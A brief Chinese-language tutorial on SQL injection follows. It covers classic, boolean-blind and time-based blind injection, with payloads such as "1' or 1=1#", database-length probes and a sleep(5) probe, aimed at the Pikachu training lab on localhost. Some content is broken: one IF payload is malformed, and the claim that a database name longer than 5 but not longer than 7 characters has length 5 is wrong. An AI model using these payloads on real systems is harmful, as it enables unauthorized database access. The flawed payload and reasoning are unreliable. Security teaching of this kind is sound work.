Bootstrap

渗透测试之SQL注入漏洞

SQL注入

​ 字符型的注入(加单引号)和 数字型的注入

1' or 1=1#

查出所有数据。

SQL盲注

​ 在服务器没有错误回显时完成注入攻击,服务器没有回显,对攻击者来说缺少了重要调试信息,所以攻击者必须找到一个方法验证注入的SQL语句是否被执行。

分类:布尔盲注,时间盲注,

布尔盲注

select *from 表名 where id = x
可以使用经典的 and 1=1 和 and 1=2 
在url中输入http:xxxx/abc.php?id=x and 1=1  看页面是否正常运行

在url中输入http:xxxx/abc.php?id=x and 1=2  看页面是否报错
例子
http://localhost/pikachu-master/vul/sqli/sqli_blind_b.phpname=kobe%27+and+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2
kobe' and 1=1#

kobe' and 1=2#

kobe’ and(length(database())>5)# 尝试获取数据库名的长度

kobe’ and(length(database())>7)# 错误 不大于7 大于5那么长度就是5;

时间盲注

​ 基于布尔盲注,结合if判断和sleep()函数来得到一个时间上的变换延迟的参照。

and if(length(database())>5,0)

kobe' and if(length(database())>5,sleep(5),0)#   

联合盲注

猜字段,猜数据库名字

;